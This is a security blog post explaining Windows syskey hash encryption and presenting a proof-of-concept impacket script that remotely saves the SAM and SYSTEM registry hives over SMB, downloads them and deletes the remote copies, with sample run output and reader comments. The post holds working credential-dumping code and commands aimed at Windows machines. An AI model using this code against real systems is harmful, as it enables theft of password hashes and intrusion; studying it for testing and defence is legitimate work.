Remote hash dumping: no processes or tool upload needed

So after my last article, in which I describe an alternative way to execute code on a remote machine if you have the local administrator’s password, I kept wondering what else could be done with the remote registry? The first thing I immediately thought of was dumping the windows hashes. The reason I thought of this was because it would have several advantages:

  • You would not need to bypass anti virus
  • You would not need to worry about uploading executable files
  • You would not need to worry about spawning new processes on the remote machine
  • You would only need one open port

Since I dislike reinventing the wheel (unless it’s for educational purposes) I started to first search around and see what current methods are available. As far as I can tell they all boil down to the following:

  • Use psexec to dump hashes by
    • Spawning a new process and running reg.exe
    • Uploading your own executable and running it
  • Use WMI to spawn a new process and run reg.exe
  • Use Windows tools
    • regedit.exe / reg.exe
    • Third party (WinScanX)

If you are not interested in my first failed attempt, the learned things you can skip directly to the script on GitHub as usual. Keep reading if you want to know the details. In case you are wondering: Yes I used impacket, it rocks.

Windows hash encryption
First things first how the hell does the dumping of Windows hashes actually work? Here is my attempt at explaining it in a nutshell, a reference to a full description can be found at the end of this post.

Back in the days Microsoft decided that hashing the passwords wasn’t enough so they implemented an additional encryption layer to protect the hashes. They chose to encrypt the hashes with RC4 which creates a new problem of course. Where do you get the key for the encryption? They thought of three options:

  • Randomly generate the key and store it in the registry (default)
  • Randomly generate the key, store it in the registry and protect it with an additional password
  • Randomly generate the key and store it on a floppy disk

The method most widely used nowadays (like you probably guessed) is the first one. The initial bootkey is stored obfuscated in the registry at the following locations:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\JD
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Skew1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Data
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\GBG

Ones that is gathered the rest of the process is executed which is described best by the original author who described the process:

1)  The  value  'F'  of  the  registry  key SAM\SAM\Domains\Account is
accessed.  The  contents  of  that  value  is  of binary type. 16 byte
(starting  at  offset 0x70) from the F value are hashed (MD5) with the
bootkey  and  some  constant. The result is used as the key to decrypt
(RC4)  the  32  byte of the F value (starting from 0x80).
The  first  16  byte  of the result are used later in the algorithm. I
call them hbootkey.

2) For each rid subkey in SAM\SAM\Domains\Account\Users. The value 'V'
of  the  key  is accessed. The content of that value is of binary type
and  contain  the  syskey  encrypted  password  hashes.  The  hbootkey
(computed in step 1), the user rid and a constant string( different if
decoding  NT  or lanman password) are hashed (MD5). The result is used
as the key to decrypt (RC4) the syskeyed password hashes.

So syskey encrypts the password hashes with the RC4 algorithm using as
key "something" derived (through MD5) from the syskey bootkey.

That describes it pretty clear don’t you think? If you prefer to understand algorithms by reading code I’d recommend to have a look at creddump, specifically the hashdump.py file. Armed with this information and a confirmation from the creddump source I started to implement my own remote hash dumper.

Failed attempt
I’ve said it before and I’ll say it again (even though I don’t learn) “Assumption is the mother of all ***”.  After reading the description of the syskey algorithm and having a quick glance at the creddump source I started to create the first POC. So I fired up regedit.exe and connected to a remote registry, then I went to the keys which contained the needed information. First thing I had to do was change the rights on the SAM key to make sure the Administrator had read rights. After doing this and refreshing regedit.exe with F5 I could see the keys. Due to my lazyness the first thing I tried was to export the keys as hive files. This failed miserably, I was not able to save them on my desktop ( I later realised why). So I did the next best thing I exported them as REG files. It all looked pretty good, so I started coding and made this function for myself to parse out values from a reg file, which I would need later to calculate the correct decryption keys:

import codecs

def get_parametervaluefromkey(regfile, keyname, parametername):
    lkeyname = '[' + keyname + ']'
    if parametername != '@':
        lparametername = '"' + parametername + '"='
    else:
        lparametername = parametername
    start_paramblock = False
    start_param = False
    foundparam = list()
    with codecs.open(regfile, encoding='utf-16') as f:
        for line in f.readlines():
            line = line.strip()

            if line.startswith('['):
                start_paramblock = False

            if line == lkeyname:
                start_paramblock = True
                continue

            if start_paramblock:
                if line.startswith(lparametername):
                    start_param = True
                    foundparam.append(line)
                    continue

                if not line.startswith('"'):
                    foundparam.append(line)
                else:
                    start_param = False
    return foundparam

Which you can use like this:

get_parametervaluefromkey(systemfile, r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1", "SkewMatrix")

That all went great until I wanted to actually calculate the bootkey. If I had read the algorithm description more carefully AND if I hadn’t assumed things when reading the creddump source I would have realized that when it states that:

A more in depth analysis of the code accessing these keys uncover that
the  "complex  obfuscation algorithm" is no more than a permutation of
the class name of the above-mentioned keys.

It really means CLASS NAME and not VALUES. This information is lost when you export keys in the reg format, if you export them as text however you DO get that information. Unfortunately the formats are miles apart:

.reg format:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1]
"SkewMatrix"=hex:54,a1,24,08,3e,1b,f7,cc,fe,3d,bb,63,e1,6f,06,59

.txt format:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: 6fa7b736
Last Write Time: 10/15/2013 - 7:08 AM
Value 0
Name: SkewMatrix
Type: REG_BINARY
Data:
00000000 54 a1 24 08 3e 1b f7 cc - fe 3d bb 63 e1 6f 06 59 T¡$.>.÷Ìþ=»cáo.Y

Well that was a bummer, not really an easy way to reuse my already written code. So I started to play around with regedit.exe which is when I realized why I couldn’t save the keys as hive files before. The function used by regedit.exe is RegSaveKey which doesn’t return the data but saves it itself to a specified path. Which isn’t entirely bad since I assume (see: I don’t learn) that if you specify a UNC path to a share it would happily safe the file there. You’ll probably just need to make sure the machine is able to login to the specified share.

More or less at the same time I stumbled upon the excellent article on exporting the registry by HD Moore. In this article WinScanX is explained which is able to dump hashes remotely as follow:

Since imitation is the sincerest form of flattery, I looked into how WinScanX implemented the registry hive export. Using the Remote Registry service over SMB/DCERPC, WinScanX calls the Save function, instructing the service to write an exported copy of the hive to the file system. WinScanX then downloads the hive using the ADMIN$ SMB share. This is a clean way to obtain the hive data, but newer versions of Windows disable the Remote Registry service by default, requiring the user to first enable it, then dump the hive, then disable it again. I would not be surprised if future versions of WinScanX implement this method.

In my testlab I didn’t need to enable the remote registry it seemed to have been enabled by Windows when I enabled File & Printer Sharing. The downside is that it’s a Windows tools and I prefer to do this stuff from a Linux machine. So at this point I decided to see how hard it would be to create a quick POC for this using impacket.

Finally, success
Seeing how it all had gone until now I assumed the worst, however I seemed to be lucky. Impacket already has an implementation for the RegSaveKey function. This made it mostly a copy/paste process from my previous post to get it working.  All it took was the following lines of code using impacket:

s = getloginsession(victim, domain, username, password)
registryconnection = getregistryconnection(s, victim)
hklm_open = registryconnection.openHKLM()
hklm_open_chandle = hklm_open.get_context_handle()
hklm_keyopen_sam = registryconnection.regOpenKey(hklm_open_chandle, "SAM", winreg.KEY_ALL_ACCESS)
hklm_keyopen_system = registryconnection.regOpenKey(hklm_open_chandle, "SYSTEM", winreg.KEY_ALL_ACCESS)
hklm_keyopen_sam_chandle = hklm_keyopen_sam.get_context_handle()
hklm_keyopen_system_chandle = hklm_keyopen_system.get_context_handle()
registryconnection.regSaveKey(hklm_keyopen_sam_chandle,remote_samsavename)
registryconnection.regSaveKey(hklm_keyopen_system_chandle,remote_systemsavename)
logout(_dcerpctransport)
#get the sam
s.getFile('C$', samfile, savefile_callback)
s.deleteFile('C$',samfile)
os.rename(_localdumplocation+'tempfile',_localdumplocation+remote_samsavename)
print "[*] saved sam %s" % _localdumplocation+remote_samsavename
#get the system
s.getFile('C$', systemfile, savefile_callback)
s.deleteFile('C$',systemfile)
os.rename(_localdumplocation+'tempfile',_localdumplocation+remote_systemsavename)
print "[*] saved system %s" % _localdumplocation+remote_systemsavename
logout(s)

So now we are able to dump Windows hashes from Linux remotely without the need to start processes or upload executable files and all this through a single port. It looks like this:

python reg2hash.py -t file:t.txt -u Administrator -p P@55word -l ../../j/dumped/
[*] targets 2
[*] domain None
[*] username Administrator
[*] password P@55word
[*] accessing 10.50.0.117
[*] saved sam ../../j/dumped/10.50.0.117.s
[*] saved system ../../j/dumped/10.50.0.117.y
[*] accessing 10.50.0.116
[*] saved sam ../../j/dumped/10.50.0.116.s
[*] saved system ../../j/dumped/10.50.0.116.y

You can find the full source on my GitHub, feel free to comment if you suggestions, improvements or just plain old rants. Don’t forget that this is just a quick POC, thus me being lazy and not implementing error checking.

Resources

6 thoughts on “Remote hash dumping: no processes or tool upload needed”

  1. Hi,
    as a follow up to my earlier question on recovering plaintext syskey or dumping it from memory after logging on in a mimikatz style, I have also asked the same q over at forensicfocus forums. Syskey at startup could be the next ransomware of choice for the bad guys.
    thanks
    alice
    you’ll find me on technibble forums too

  2. Hi,
    outstanding work :) !!

    With the increase in “m$ support” scams where the bad people use social engineering to remote in, set a boot time syskey password and hold you to ransom – like $300 :( I have a non-trivial question: can the syskey be “reversed” to find the ascii equivalent?
    I am aware of products from elcomsoft that try dictionary / brute force attacks/.
    Others like passcape / offline password reset @ pogostick that can turn off syskey. However these have consequences for efs and lsa protected passwords…

    fortunately the scammers are currently just using 123, 1234, 12345 – it won’t be long before something tougher is set .

    any ideas?

    thanks alice

  3. Hey:

    I’ve been working on secretsdump.py for the past month or so.. after finishing the registry and the ESE databases (e.g. ntds.dit) parsers.

    I’ve tried the approach of directly reading the registry.. and sadly it doesn’t work.. you cannot read HKLM\Security, but you can call regSaveKey and dump it on a file (weird ugh?)..

    Yep.. your assumptions were completely right.. (nice coincidence!).. the only thing left is find a way to export NTDS.dit w/o doing it via VSS (which requires executing that command in the target host via smbexec or similar).

    cheers!
    bto

  4. Heya Beto,

    Nice going on a clean implementation. Did this post inspire you or were you already working on it?

    Also you can probably do it without even saving the hive using regsavekey. It should be possible to do it fully by just reading the registry.

    I just wanted to point out that it’s possible to dump hashes remotely without any processes or local tools with this POC, i’m glad you took the time to do a better implementation and making it available in impacket.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.